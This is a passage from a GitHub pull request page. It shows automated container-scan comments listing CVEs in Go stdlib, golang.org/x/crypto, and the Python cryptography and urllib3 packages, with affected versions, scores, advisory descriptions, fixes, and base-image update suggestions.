        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.032%
        EPSS Percentile9th percentile
        Description

        Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value.

        After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged.

        high : CVE--2022--2879

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB.

        high : CVE--2022--28131

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion.

        high : CVE--2022--27664

        Affected range<1.18.6
        Fixed version1.18.6
        EPSS Score0.093%
        EPSS Percentile26th percentile
        Description

        HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service.

        high : CVE--2023--29400

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags.

        high : CVE--2023--24539

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.065%
        EPSS Percentile20th percentile
        Description

        Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

        critical: 1 high: 6 medium: 0 low: 0 stdlib 1.24.4 (golang)

        pkg:golang/stdlib@1.24.4

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        critical: 0 high: 3 medium: 0 low: 0 cryptography 41.0.7 (pypi)

        pkg:pypi/cryptography@41.0.7

        high 8.7: CVE--2023--50782 Observable Discrepancy

        Affected range<42.0.0
        Fixed version42.0.0
        CVSS Score8.7
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
        EPSS Score0.855%
        EPSS Percentile75th percentile
        Description

        A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.

        high 8.2: CVE--2026--26007 Insufficient Verification of Data Authenticity

        Affected range<=46.0.4
        Fixed version46.0.5
        CVSS Score8.2
        CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
        EPSS Score0.007%
        EPSS Percentile0th percentile
        Description

        Vulnerability Summary

        The public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

        This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

        Only SECT curves are impacted by this.

        Credit

        This vulnerability was discovered by:

        • XlabAI Team of Tencent Xuanwu Lab
        • Atuin Automated Vulnerability Discovery Engine

        high 7.5: CVE--2024--26130 NULL Pointer Dereference

        Affected range>=38.0.0
        <42.0.4
        Fixed version42.0.4
        CVSS Score7.5
        CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
        EPSS Score0.341%
        EPSS Percentile56th percentile
        Description

        If pkcs12.serialize_key_and_certificates is called with both:

        1. A certificate whose public key did not match the provided private key
        2. An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)

        Then a NULL pointer dereference would occur, crashing the Python process.

        This has been resolved, and now a ValueError is properly raised.

        Patched in pyca/cryptography#10423

        critical: 0 high: 3 medium: 0 low: 0 urllib3 2.0.7 (pypi)

        pkg:pypi/urllib3@2.0.7

        high 8.9: CVE--2026--21441 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.22
        <2.6.3
        Fixed version2.6.3
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.

        However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).

        Affected usages

        Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects.

        Remediation

        Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False.

        If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.

        high 8.9: CVE--2025--66471 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.0
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.027%
        EPSS Percentile7th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.

        The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.

        stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.

        If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.

        Credits

        The issue was reported by @Cycloctane.
        Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

        high 8.9: CVE--2025--66418 Allocation of Resources Without Limits or Throttling

        Affected range>=1.24
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.029%
        EPSS Percentile8th percentile
        Description

        Impact

        urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd).

        However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.

        If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

        critical: 0 high: 1 medium: 0 low: 0 golang.org/x/crypto 0.36.0 (golang)

        pkg:golang/golang.org/x/crypto@0.36.0

        high : CVE--2025--47913

        Affected range<0.43.0
        Fixed version0.43.0
        EPSS Score0.033%
        EPSS Percentile10th percentile
        Description

        SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026

        Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

        Base image is ubuntu:24.04

        Name24.04
        Digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        Vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        Pushed2 weeks ago
        Size30 MB
        Packages131
        OS24.04
        The base image is also available under the supported tag(s): latest, noble

        Refresh base image

        Rebuild the image using a newer base image version. Updating this may result in breaking changes.

        ✅ This image version is up to date.

        Change base image

        TagDetailsPushedVulnerabilities
        26.04
        Major OS version update
        Also known as:
        • devel
        • resolute
        • resolute-20260108
        		 Benefits:
        • Image contains 9 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 26.04
        		 1 month ago



        25.10
        Major OS version update
        Also known as:
        • rolling
        • questing
        • questing-20251217
        		 Benefits:
        • Image contains 7 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 25.10
        		 2 months ago



        Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

        Reviewers

        @lotyp lotyp Awaiting requested review from lotyp lotyp is a code owner

        At least 1 approving review is required to merge this pull request.

        Assignees

        No one assigned

        Labels

        type: maintenance For maintenance, refactor and testing (perf, chore, style, revert, refactor, test, build, ci)

        Projects

        None yet

        Milestone

        No milestone

        Development

        Successfully merging this pull request may close these issues.

        0 participants